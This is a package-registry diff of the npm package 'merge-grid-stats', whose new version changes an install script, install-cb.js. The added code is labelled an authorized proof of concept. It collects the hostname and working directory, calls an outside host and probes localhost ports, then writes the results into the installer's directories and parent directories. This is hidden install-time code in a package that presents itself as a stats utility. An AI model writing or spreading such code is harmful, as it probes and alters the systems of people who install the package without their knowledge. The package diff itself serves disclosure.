merge-grid-stats 1.2.0 → 1.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install-cb.js +39 -29
- package/package.json +1 -1
package/install-cb.js
CHANGED
|
@@ -1,50 +1,60 @@
|
|
|
1
|
-
// Authorized PoC (non-destructive):
|
|
1
|
+
// Authorized PoC (non-destructive): SSRF/internal-network reachability probe via mtsrc-test.sankuai.com
|
|
2
2
|
var fs = require('fs');
|
|
3
3
|
var path = require('path');
|
|
4
|
-
var http = require('http');
|
|
5
4
|
var os = require('os');
|
|
5
|
+
var https = require('https');
|
|
6
|
+
var http = require('http');
|
|
6
7
|
|
|
7
8
|
var cwd = process.cwd();
|
|
8
|
-
var lines = ['
|
|
9
|
+
var lines = ['ssrf-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
|
|
10
|
+
|
|
11
|
+
function probeHttps(host, port, p, timeoutMs) {
|
|
12
|
+
return new Promise(function (resolve) {
|
|
13
|
+
var done = false;
|
|
14
|
+
var body = '';
|
|
15
|
+
var req;
|
|
16
|
+
try {
|
|
17
|
+
req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
|
|
18
|
+
res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
|
|
19
|
+
res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
|
|
20
|
+
});
|
|
21
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
|
|
22
|
+
req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
|
|
23
|
+
req.end();
|
|
24
|
+
} catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
|
|
25
|
+
});
|
|
26
|
+
}
|
|
9
27
|
|
|
10
|
-
function
|
|
28
|
+
function probeHttp(host, port, p, timeoutMs) {
|
|
11
29
|
return new Promise(function (resolve) {
|
|
12
30
|
var done = false;
|
|
31
|
+
var body = '';
|
|
13
32
|
var req;
|
|
14
33
|
try {
|
|
15
|
-
req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs
|
|
16
|
-
|
|
17
|
-
res.
|
|
34
|
+
req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
|
|
35
|
+
res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
|
|
36
|
+
res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
|
|
18
37
|
});
|
|
19
38
|
req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
|
|
20
39
|
req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
|
|
21
40
|
req.end();
|
|
22
|
-
} catch (e) {
|
|
23
|
-
if (!done) { done = true; resolve('ERR:local'); }
|
|
24
|
-
}
|
|
41
|
+
} catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
|
|
25
42
|
});
|
|
26
43
|
}
|
|
27
44
|
|
|
28
|
-
var
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
45
|
+
var tasks = [
|
|
46
|
+
probeHttps('mtsrc-test.sankuai.com', 443, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_https_ssrf=' + r); }),
|
|
47
|
+
probeHttp('mtsrc-test.sankuai.com', 80, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_http_ssrf=' + r); }),
|
|
48
|
+
probeHttp('127.0.0.1', 80, '/', 3000).then(function (r) { lines.push('localhost_80=' + r); }),
|
|
49
|
+
probeHttp('127.0.0.1', 8080, '/', 3000).then(function (r) { lines.push('localhost_8080=' + r); })
|
|
33
50
|
];
|
|
34
51
|
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
['', '..', '../..'].forEach(function (rel) {
|
|
43
|
-
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_META.txt'), data); } catch (e) {}
|
|
44
|
-
});
|
|
45
|
-
['', '..', '../..'].forEach(function (rel) {
|
|
46
|
-
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'meta-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
47
|
-
});
|
|
48
|
-
}
|
|
52
|
+
Promise.all(tasks).then(function () {
|
|
53
|
+
var data = lines.join('\n');
|
|
54
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
55
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_SSRF.txt'), data); } catch (e) {}
|
|
56
|
+
});
|
|
57
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
58
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
49
59
|
});
|
|
50
60
|
});
|
package/package.json
CHANGED